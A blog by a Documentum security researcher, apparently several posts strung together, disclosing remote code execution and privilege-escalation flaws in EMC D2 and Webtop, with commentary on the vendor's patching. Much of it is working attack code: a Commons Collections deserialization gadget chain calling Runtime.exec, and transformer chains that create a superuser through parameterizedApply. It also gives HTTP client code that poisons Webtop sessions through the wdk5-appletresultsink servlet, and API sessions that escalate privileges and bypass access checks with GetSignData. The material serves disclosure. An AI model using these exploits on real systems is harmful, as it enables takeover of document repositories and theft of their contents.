Another two D2 remote code executions. Webtop is affected

That was obvious that Apache Commons Collections is not the only vulnerable library, and on this week another two possibilities were disclosed:

Entropy

Today when I was reading a ECN post:

We are facing the following issue in our environment. The Content server version is 7.2 on Linux. This environment was upgraded from 6.7 about 5 months back…. bla-bla-bla something about stability and performance…

I have remembered that during last year I had participated in resolution of similar problems two or three times.
Here is a root cause: Randomness in virtual machines (don’t pay much attention to “virtual”)
Why did this happen after migration from 6.7?
The answer is simple: in D7 SSL connections are enabled by default, so, D7 consumes more entropy.
What to do?
Check Marginalia page.

D2 remote code execution

As was promised previously I publish information about a super mega severe vulnerability in D2.

On November-December 2015 I was so busy on a project that I had missed a disclosure of deserialisation vulnerability in Apache Commons Collections Java library. FoxGlove Security blog contains a thorough explanation of what had happened – it is really worth to read it because Gabriel Lawrence, Chris Frohoff and Stephen Breen produced a tremendous amount of work – I was need to read it twice to understand what is going on and I spent about four hours to write a more clear version of exploit (AnnotationInvocationHandler magic was not clear for me):

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "commons-collections:commons-collections:3.1" })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<Map> {

	public Map getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(transformers));

		CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
		handler.setDefaultHandler(new InvocationHandler() {
			public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
				return method.invoke(new HashMap(), args);
			}
		});
		Map<Object, Object> result = new HashMap<Object, Object>();
		result.put(Gadgets.createProxy(handler, Map.class), null);
		Reflections.setFieldValue(handler, "classToInvocationHandler", lazyMap);
		handler.setDefaultHandler(null);

		return result;
	}

}

The interesting thing in all this story is a reaction of vendors and community. Some of people start panic, for example: Using Java? This is The Next Heartbleed You Should Be Worried About (generally, vulnerability in ACC has more in common with Shellshock rather than with Heartbleed – in case of Shellshock if you were using dangerous system(3) call you were bloody idiot, in case of ACC deserialization vulnerability if you accept serialized objects from untrusted sources you are lazy moron, in case of Heartbleed I can’t say something like “suck to be you if you are using TLS”), another people started blaming on researchers:

Because this is so negligent Lawrence and Frohoff didn’t bother to report this directly to the Apache Commons project.

ASF failed to announce vulnerability properly – it is still not clear what versions of ACC library are affected: CERT/CC states that “both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue”, but Frohoff’s PoC is based on 3.1 (version 3.0, which Webtop is based on, is not affected). It seems that the only company which was able to properly evaluate security risks is a Cisco Systems – please check their security advisory, moreover I always respect Cisco for their security advisories: if you ask google about “This vulnerability was discovered by Cisco during internal testing” you get a bunch of references to Cisco’s advisories – could you provide any other company which is doing the same? I don’t think so. For example, EMC states that they also have internal security testing (full presentation is available here):

but have you ever read about vulnerabilities “discovered by EMC during internal testing”? Frankly speaking, EMC states that “In accordance with industry practices, EMC does not share the findings from internal security testing or other types of security activities with external entities.“, but what the heck is “industry practices”? I always thought that if you get paid by customer you must care about customer and keep him informed and secure, moreover Cisco has more employees, more revenue than EMC, do they want to say that Cisco do not follow “industry practices”? So, I doubt that EMC performs any internal testing – at least it is clear that they don’t perform “root cause analysis” and “regression testing“, so, there is no reason for other blocks to be true (though, the half of blog’s subscribers are EMC employees, so it seems that they need to add “blog.documentum.pro” block onto their diagram). But today I’m going to put doubts on “proactively monitoring embedded components” block. Below is what EMC states about “embedded components”:

Well, vulnerability in ACC was announced on November 13, today is February 17, i.e. it is 96 days since announcement of vulnerability in ACC. Let’s check whether D2 contains vulnerable library:

[dmadmin@docu72dev01 distr]$ unzip D2_4.5.0_P05.zip 
Archive:  D2_4.5.0_P05.zip
   creating: D2_4.5.0_P05/
   creating: D2_4.5.0_P05/Plugins/
  inflating: D2_4.5.0_P05/D2-Configurator_4.5.0.jar  
  inflating: D2_4.5.0_P05/D2-Installer-4.5.0.jar  
  inflating: D2_4.5.0_P05/Plugins/D2-BOCS-4.5.0.war  
  inflating: D2_4.5.0_P05/Plugins/D2-RPS-Dar-Install.zip  
[dmadmin@docu72dev01 distr]$ cd D2_4.5.0_P05
[dmadmin@docu72dev01 D2_4.5.0_P05]$ java -jar D2-Installer-4.5.0.jar 
...
[dmadmin@docu72dev01 D2]$ zipinfo D2.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 15-Aug-18 14:38 WEB-INF/lib/commons-collections-3.2.jar
[dmadmin@docu72dev01 D2]$ zipinfo D2-Config.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 13-Jul-23 19:44 WEB-INF/lib/commons-collections-3.2.jar

Oops…

Note, that my proof of concept does not execute operating system commands like was demonstrated in Frohoff’s PoC – instead of that it creates Documentum user with superuser privileges. I have noticed that many researches like to describe how their proof of concepts work, so I will try to do the same, however if you get bored you can stop reading this post and get my proof of concept here.

Motivation

At first, initial proof of concept is bit boring: on the one hand we (Documentum users) already have a component which is able to execute arbitrary shell commands (I’m talking about Content Server), on the other hand such proof of concept assumes that attacker executes shell commands blindly, i.e. to understand wether service is vulnerable or not we need to somehow get information about whether command was executed or not, for example, we may use ping to send packets to monitored host, but what if victim service is located behind a firewall? So, creating a new user is more practicable.

At second, this blog is about Documentum, writing something like “take a look, D2 contains vulnerable java library” is boring.

First challenge

Well. The first challenge was to get DFC session without knowing any Documentum credentials, actually if DevOp is so stupid to leave default passwords for dmc_wdk_preferences_owner/dmc_wdk_presets_owner users unchanged we may construct DFC session using following code:

new DfClient().newSession("docbase", new DfLoginInfo("username", "password"));

or using very limited API provided by ACC library it will look like:

Transformer getSession = new ChainedTransformer(new Transformer[] { new ConstantTransformer(DfClient.class),
		new InstantiateTransformer(new Class[0], new Object[0]),
		new InvokerTransformer("newSession", new Class[] { String.class, IDfLoginInfo.class },
				new Object[] { "docbase", new DfLoginInfo("username", "password") }) });
getSession.transform(null);

What if we do not know Documentum credentials at all? I have found a following way to get dm_bof_registry’s session:

((List) RuntimeContext.getInstance().getSessionRegistry().getAllSessions()).get(0);

or the same using ACC API:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Now there are two other challenges:

  • we need to somehow execute docbase queries
  • we need to somehow evaluate privileges

The third one is less important: at first, I know about 10 ways to evaluate privileges in Documentum (haha, keep me away from accessing your Documentum, otherwise it hurts me because I don’t like making a choice), at second, if you are lucky enough SessionRegistry may contain privileged sessions – just play with array’s index, at third, in order to evaluate privileges it is still required to execute queries.

Second challenge

  • It is not possible to invoke com.documentum.fc.client.IDfQuery#execute using ACC API – it accepts IDfSession as argument
  • com.documentum.fc.client.IDfSession#apply looks like what we need, but it accepts IDfList as argument, and IDfList has no serializable implementations
  • com.documentum.fc.client.impl.session.ISession#query(java.lang.String, boolean, boolean) – good candidate if we need to execute DQL queries only
  • com.documentum.fc.client.impl.docbase.DocbaseApi#parameterizedApply is our champion – it allows to execute arbitrary RPC command

Below is a serializable chain to create Documentum user:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Transformer getDocbaseAPI = new ChainedTransformer(
		new Transformer[] { getSession, new InvokerTransformer("getDocbaseApi", new Class[0], new Object[0]) });

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");

Transformer createUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI,
		new InvokerTransformer("parameterizedApply",
				new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class },
				new Object[] { "EXEC", DfId.DF_NULLID, createUserQuery, false }),
		new ConstantTransformer(null) });

Third challenge

The most obvious idea to evaluate privileges in Documentum is to take advantage of dcs_privileged_users group, i.e. relying on previous code it may look like:

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");
createUserQuery.appendString(" __REQUESTED_PROTECTED_ROLES", "dcs_privileged_users");

Unfortunately this idea is doomed to failure in case of D2 4.5 – dcs_privileged_users is now secured. Most of other ways require a lot of coding because ACC API is extremelly limited, so I have chosen an approach described in When will EMC stop fighting with customers and start care about them? blogpost:

ITypedData createRegisteredQuery = new DynamicallyTypedData();
createRegisteredQuery.appendBoolean("IS_NEW_OBJECT", true);
createRegisteredQuery.appendString("OBJECT_TYPE", "DM_REGISTERED");
createRegisteredQuery.appendInt("i_vstamp", 0);
createRegisteredQuery.appendString("table_name", "dm_user_s");
createRegisteredQuery.appendString("table_owner", docbaseName);
createRegisteredQuery.appendString("owner_name", docbaseName);
createRegisteredQuery.appendInt("world_permit", 7);
createRegisteredQuery.appendString("object_name", "dm_user_s");
createRegisteredQuery.appendInt("owner_table_permit", 15);
createRegisteredQuery.appendInt("group_table_permit", 15);
createRegisteredQuery.appendInt("world_table_permit", 15);
createRegisteredQuery.appendString("r_object_type", "dm_registered");

Transformer createRegistered = new ChainedTransformer(
		new Transformer[] { getDocbaseAPI,
				new InvokerTransformer("parameterizedApply", new Class[] { String.class, IDfId.class,
						ITypedData.class, boolean.class },
				new Object[] { "SysObjSave", new DfId("1900000080000001"), createRegisteredQuery, false }),
		new ConstantTransformer(null) });

The funny thing here is Content Server allows to create objects having out-of-sequence r_object_id, moreover, it seems that Content Server ignores docbase part of r_object_id – we do not need to execute NEXT_ID_LIST RPC command to acquire brand new r_object_id.

Webtop

Previously I noticed that Webtop contains ACC library of version 3.0 and it this version is not affected, unfortunately, this is only a half of the truth. If we consider the problem more globally, i.e. “if you accept serialized objects from untrusted sources you are lazy moron“, everything become more interesting. Well, all wdk applications have an extremely ancient servlet:

    <servlet>
        <description>Servlet used by applets to return results</description>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <servlet-class>com.documentum.web.servlet.AppletResultSink</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <url-pattern>/wdk5-appletresultsink</url-pattern>
    </servlet-mapping>

This servlet do something like:

protected void service(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    String contentType = request.getContentType();
    if (!"application/x-www-form-urlencoded".equals(contentType)
            && !"application/x-deflated-java-serialized-object".equals(contentType)) {
        ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
        SessionState.setAttribute(ois.readObject().toString(), ois.readObject());
    }
}

Amazing, wdk5-appletresultsink servlet allows to inject arbitrary value into HttpSession. Now, do you have any idea how PrivilegeQualifier and RoleQualifier work? Actually, they both do something like:

@Override
public String getScopeValue(QualifierContext qualifierContext) {
	String userName = SessionManagerHttpBinding.getUsername();
	IDfSessionManager sessionManager = SessionManagerHttpBinding.getSessionManager();
	IDfSession session = null;
	try {
		 session = sessionManager.getSession(SessionManagerHttpBinding.getCurrentDocbase());
		// some logic here
	} finally {
		if (session != null) {
			sessionManager.release(session);
		}
	}
}

What the heck is SessionManagerHttpBinding.getUsername()? Actually, it does something like:

public static String getUsername() {
	String docbase = getCurrentDocbase();
	String userKey = docbase + ".dctm.roleService.username";
	return SessionState.getAttribute(userKey);
}

So, we may poison PrivilegeQualifier and RoleQualifier qualifiers by poisoning HttpSession, i.e.:

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];

	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	oos.writeObject(docbase + ".dctm.roleService.username");
	oos.writeObject(docbase);
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

The problem is in recent WDK versions EMC introduced dumb security checks and we can’t open /webtop/component/api directly, good news is those checks are also based on HttpSession.

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];
	sendRequest(url, jsessionId, docbase + ".dctm.roleService.username", docbase);
	RandomIdCache cache = new RandomIdCache();
	cache.put(String.valueOf(0), null);
	sendRequest(url, jsessionId, "RandomIdCache", cache);
}

public static void sendRequest(String url, String jsessionId, Object... data) throws Exception {
	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	for (Object o : data) {
		oos.writeObject(o);
	}
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

Weird release management

Two years ago I was complaining about dcs_privileged_users group created during installation of Collaboration Services dar, though in order to understand how this group works you need to read a set of post about dynamic groups, but the main idea is pretty simple: if authenticated user is able to execute API commands (either having network access to Content Server or through API Tester component in WDK applications) he is able to gain superuser privileges:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> apply,c,,EXEC,
      QUERY,S,update dm_user objects SET user_privileges=16 WHERE user_name=USER,
      __REQUESTED_PROTECTED_ROLES,S,dcs_privileged_users
...
q0
API> ?,c,q0
objects_updated
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your UPDATE statement."


API> ?,c,select user_privileges from dm_user WHERE user_name=USER
user_privileges
---------------
             16
(1 row affected)

Doesn’t it look strange? A severe vulnerability exists for a couple of years, but instead of remediating it vendor wastes time for less severe things like DmSampleServlet. For a long time I was unable to understand what is the reason of such EMC’s behaviour, but yesterday everything got clear for me. What happened yesterday? Yesterday I got an idea that I discovered a super mega severe vulnerability in D2 – getting superuser credentials without knowing any existing credentials (suck to be you if you expose D2 into internet, previously I was able to say the same only about D2-Config, the only problem is my friends/colleagues are using D2, moreover some of them have D2 exposed into internet and releasing a public exploit will probably hurt them, so I have tried to contact EMC representative and if I won’t receive any response I will make it publicly available on Tuesday), and in order to confirm my expectations I was need to install D2 (yeah, I hate this procedure due to introduced useless RSA Lockbox). And what did the installation do with my DEV ENV? It marked all vulnerable groups as protected:

API> ?,c,select is_protected,group_name from dm_group where group_name like 'dcs%' or group_name like 'dce%'
is_protected  group_name
------------  ----------
           1  dce_create_room_groups
           1  dce_datatable_creator
           1  dce_hidden_users
           1  dce_room_creator
           1  dce_user_manager
           1  dcs_privileged_users
(6 rows affected)

WTF? After some research I have found out that D2 ships with it’s own Collaboration Services dar which was released in March 2015 (D2 4.5 was released in April 2015):

zipinfo Collaboration_Services.dar |head
Archive:  Collaboration_Services.dar
Zip file size: 2582778 bytes, number of entries: 194
-rw----     2.0 fat     1991 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\newsysobject.sysobject.artifact
-rw----     2.0 fat     4478 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_0
-rw----     2.0 fat    11733 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_1
-rw----     2.0 fat     1172 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\move.xml.sysobject.artifact
-rw----     2.0 fat      530 bl defN 15-Mar-03 13:29 \bin\content/45/1763040245/move.xml
-rw----     2.0 fat     1558 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\javadoc.zip.sysobject.artifact
-rw----     2.0 fat   255125 bl defN 15-Mar-03 13:29 \bin\content/61/1858709661/sysobjectContent
-rw----     2.0 fat     1183 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\import.xml.sysobject.artifact

and this dar “does fix” a vulnerability (actually, I’m not sure about the correctness of fix because, for example, if you setup WDK app as “trusted client” you are still vulnerable):

zipstream Collaboration_Services.dar "\\\bin\\\content/55/-1014019755/runnableContent"
...
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_dynamic", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_module_only", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_protected", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "group_class", "module role" )

So, the only question is why this dar is not included in Content Server installation. I do not believe that it is caused by any compatibility issues (just imagine you have something dependent on dcs_privileged_users group and you install D2 – your functionality gets broken), it is just fault of release management:

  • one guys qualified Collaboration Services as a source of vulnerability (from my perspective this is wrong because Collaboration Services is a part of default Content Server installation) and assigned issue to corresponding team
  • Collaboration Services team fixed an issue (here should be a joke about one year required to fix a dmbasic script)
  • nobody included new version of Collaboration Services dar into CS patch

If you think I’m wrong, below are another examples of such faults:

  • ESA-2014-064 states that something was fixed in “6.7 SP2 P15 and later”, actually you may find a thorough explanation of what was “fixed” in What makes api/dmbasic suck blogpost, but EMC included a “patched” version of dmbasic binary only in 6.7 SP2 P17
  • ESA-2015-131 (CVE-2015-4535) is also interesting form this perspective (note I do not say that it is remediated), you can find a thorough explanation in Why do EMC coders like static variables? blogpost, the problem is both Content Server and Process Engine were affected (both contain mthdservlet.jar) but EMC released a “patch” for Content Server only

Login tickets

On Thursday I was asked a naive question:

http://192.168.1.110:8080/D2/servlet/Download?uid…DM_TICKET=T0JKIE5VTEwgMAoxMwp2ZXJz&#8230;

this servlet is used by D2 for the PDF widget viewer
I was supposing that the ticket is a one time ticket, but it is not!
I don’t know why, maybe EMC is using the same ticket during all the session but I would have used a one time DM_TICKET to avoid to use it multiple time

Strictly speaking Documentum tickets has nothing in common with one-time passwords. Let me explain. The main idea of one-time passwords is not to verify your credentials but verify you as a person, for example, I have a bank account in Russian bank (actually, I also have a bank account in Australian bank, but IT in Australia is so infant that it is not possible to provide a real-world example), in order to take advantage of their internet banking I do following: I open browser, enter internet banking URL and submit my credentials, after that internet banking asks me to submit a one-time password and, in order to do so, it provides me two options to get one-time password:

  • receive one-time password by sms
  • go to ATM and get a hard-copy with a list of ten one-time passwords (if I choose this option i)

I submit one-time password and now I’m able to work with internet banking, so, the bank assumes that the person who knows credentials and able to receive one-time password by sms (or able to go to ATM and get a hard-copy with a list of one-time passwords) is me, actually, it’s a kind of tradeoff between security and convenience – bank may create more comprehensive authorization scheme, but it’s hardly possible that after that anyone will use their internet banking.

Documentum tickets should be considered just as temporary passwords which are valid during a specific period of time (see also login_ticket_timeout in dm_server_config):

API> getlogin,c,
...
DM_TICKET=T0JKIE5VTEwgMAoxMwp2ZXJzaW9uIElOVCBTIDAKMwpmbGFncyBJTlQgUyAwCjEKc2VxdWVuY2VfbnVtIElOVCBTIDAKMTI3MApjcmVhdGVfdGltZSBJTlQgUyAwCjE0NTUwNTE0MTIKZXhwaXJlX3RpbWUgSU5UIFMgMAoxNDU1MDUxNzEyCmRvbWFpbiBJTlQgUyAwCjAKdXNlcl9uYW1lIFNUUklORyBTIDAKQSA3IGRtYWRtaW4KcGFzc3dvcmQgU1RSSU5HIFMgMApBIDEwOCBETV9FTkNSX1RFWFRfVjI9QUFBQUVDbDhaMjd3dXpoK25GeHczWi81Mjl6Y3FidDV5R1FVNWRyc3dqeGhDN3d6bDZhOUFHbFNZYmFtNVc5M3pycHBWMWw2ODdoSkw0TFo5cnZHa29vM3ozWT0KZG9jYmFzZV9uYW1lIFNUUklORyBTIDAKQSA4IERDVE1fREVWCmhvc3RfbmFtZSBTVFJJTkcgUyAwCkEgMTEgZG9jdTcyZGV2MDEKc2VydmVyX25hbWUgU1RSSU5HIFMgMApBIDggRENUTV9ERVYKc2lnbmF0dXJlX2xlbiBJTlQgUyAwCjExMgpzaWduYXR1cmUgU1RSSU5HIFMgMApBIDExMiBBQUFBRUlxdDZTK0ZwMXRTbHNCK2xrbVN1cGVQWVUxSk9DT3JYckZsNEVlMHNxcEJWcnpocTd6eHRlcGRtM0JxeW5hdmdoS1cyRGRPaUFYK1dpcE9ERzdxM0oyT1VDd1p5L0xwczhxT1BXdEh3ckRHCg==
API> Bye
[dmadmin@docu72dev01 ~]$ base64 -d
T0JKIE5VTEwgMAoxMwp2ZXJzaW9uIElOVCBTIDAKMwpmbGFncyBJTlQgUyAwCjEKc2VxdWVuY2VfbnVtIElOVCBTIDAKMTI3MApjcmVhdGVfdGltZSBJTlQgUyAwCjE0NTUwNTE0MTIKZXhwaXJlX3RpbWUgSU5UIFMgMAoxNDU1MDUxNzEyCmRvbWFpbiBJTlQgUyAwCjAKdXNlcl9uYW1lIFNUUklORyBTIDAKQSA3IGRtYWRtaW4KcGFzc3dvcmQgU1RSSU5HIFMgMApBIDEwOCBETV9FTkNSX1RFWFRfVjI9QUFBQUVDbDhaMjd3dXpoK25GeHczWi81Mjl6Y3FidDV5R1FVNWRyc3dqeGhDN3d6bDZhOUFHbFNZYmFtNVc5M3pycHBWMWw2ODdoSkw0TFo5cnZHa29vM3ozWT0KZG9jYmFzZV9uYW1lIFNUUklORyBTIDAKQSA4IERDVE1fREVWCmhvc3RfbmFtZSBTVFJJTkcgUyAwCkEgMTEgZG9jdTcyZGV2MDEKc2VydmVyX25hbWUgU1RSSU5HIFMgMApBIDggRENUTV9ERVYKc2lnbmF0dXJlX2xlbiBJTlQgUyAwCjExMgpzaWduYXR1cmUgU1RSSU5HIFMgMApBIDExMiBBQUFBRUlxdDZTK0ZwMXRTbHNCK2xrbVN1cGVQWVUxSk9DT3JYckZsNEVlMHNxcEJWcnpocTd6eHRlcGRtM0JxeW5hdmdoS1cyRGRPaUFYK1dpcE9ERzdxM0oyT1VDd1p5L0xwczhxT1BXdEh3ckRHCg==
OBJ NULL 0
13
version INT S 0
3
flags INT S 0
1
sequence_num INT S 0
1270
create_time INT S 0
1455051412
expire_time INT S 0
1455051712
domain INT S 0
0
user_name STRING S 0
A 7 dmadmin
password STRING S 0
A 108 DM_ENCR_TEXT_V2=AAAAECl8Z27wuzh+nFxw3Z/529zcqbt5yGQU5drswjxhC7wzl6a9AGlSYbam5W93zrppV1l687hJL4LZ9rvGkoo3z3Y=
docbase_name STRING S 0
A 8 DCTM_DEV
host_name STRING S 0
A 11 docu72dev01
server_name STRING S 0
A 8 DCTM_DEV
signature_len INT S 0
112
signature STRING S 0
A 112 AAAAEIqt6S+Fp1tSlsB+lkmSupePYU1JOCOrXrFl4Ee0sqpBVrzhq7zxtepdm3BqynavghKW2DdOiAX+WipODG7q3J2OUCwZy/Lps8qOPWtHwrDG
[dmadmin@docu72dev01 ~]$ perl -MPOSIX -e 'print strftime "%a %b %e %H:%M:%S %Y\n", gmtime 1455051412'
Tue Feb  9 20:56:52 2016
[dmadmin@docu72dev01 ~]$ perl -MPOSIX -e 'print strftime "%a %b %e %H:%M:%S %Y\n", gmtime 1455051712'
Tue Feb  9 21:01:52 2016

and initially login tickets were used when Content Server was need to force external client to authenticate using certain credentials, some examples:

but what you are observing in D2 is just a result of smelling code.

Extra “protection” with trusted content services :)

Just to continue a theme about usefulness of TCS option mentioned in Some ideas about organising storage for content files.

GetSignData RPC-command is intended to verify digital signature of dm_audittrail:

API> retrieve,c,dm_audittrail
...
5f024be980000100
API> get,c,l,_sign_data
...
<audit-record>
<dctm-attr name="r_object_id" type="ID"><![CDATA[5f024be980000100]]></dctm-attr>
<dctm-attr name="event_name" type="STRING"><![CDATA[dm_logon_failure]]></dctm-attr>
<dctm-attr name="event_source" type="STRING"><![CDATA[System Unspecific]]></dctm-attr>
<dctm-attr name="r_gen_source" type="INT"><![CDATA[1]]></dctm-attr>
<dctm-attr name="user_name" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="audited_obj_id" type="ID"><![CDATA[11024be980000139]]></dctm-attr>
<dctm-attr name="time_stamp" type="TIME"><![CDATA[2015-05-05 15:24:19]]></dctm-attr>
<dctm-attr name="string_1" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="string_2" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="string_3" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="string_4" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="string_5" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="id_1" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_2" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_3" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_4" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_5" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="chronicle_id" type="ID"><![CDATA[11024be980000139]]></dctm-attr>
<dctm-attr name="object_name" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="version_label" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="object_type" type="STRING"><![CDATA[dm_user]]></dctm-attr>
<dctm-attr name="event_description" type="STRING"><![CDATA[Logon Failure]]></dctm-attr>
<dctm-attr name="policy_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="current_state" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="workflow_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="session_id" type="ID"><![CDATA[01024be980000123]]></dctm-attr>
<dctm-attr name="user_id" type="ID"><![CDATA[11024be980000139]]></dctm-attr>
<dctm-attr name="owner_name" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="acl_name" type="STRING"><![CDATA[dm_45024be98000021f]]></dctm-attr>
<dctm-attr name="acl_domain" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="application_code" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="controlling_app" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="attribute_list" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="attribute_list_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="audit_version" type="INT"><![CDATA[4]]></dctm-attr>
<dctm-attr name="host_name" type="STRING"><![CDATA[docu72dev01]]></dctm-attr>
<dctm-attr name="time_stamp_utc" type="TIME"><![CDATA[2015-05-05 12:24:19]]></dctm-attr>
<dctm-attr name="i_audited_obj_class" type="INT"><![CDATA[2]]></dctm-attr>
<dctm-attr name="registry_id" type="ID"><![CDATA[26024be980000100]]></dctm-attr>
<dctm-attr name="audited_obj_vstamp" type="INT"><![CDATA[1]]></dctm-attr>
<dctm-attr name="attribute_list_old" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="attribute_list_aspect_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
</audit-record>

it real life it may be used to retrieve metadata of any object in repository regardless it’s security settings:

API> create,c,dm_document
...
09024be980526275
API> grant,c,l,dm_world,AccessPermit,,1
...
OK
API> save,c,l
...
OK
API> connect,DCTM_DEV,test_user,test_user
...
s1
API> fetch,c,09024be980526275
...
[DM_API_E_EXIST]error:  "Document/object specified by 09024be980526275 does not exist."

[DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error:  "No browse access for sysobject with ID '09024be980526275'."


API> apply,c,09024be980526275,GetSignData
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  result                          : <audit-record>
<dctm-attr name="r_object_id" type="ID"><![CDATA[09024be980526275]]></dctm-attr>
<dctm-attr name="object_name" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="r_object_type" type="STRING"><![CDATA[dm_document]]></dctm-attr>
<dctm-attr name="title" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="subject" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="authors" type="STRING" repeating="true" index="0"><![CDATA[]]></dctm-attr>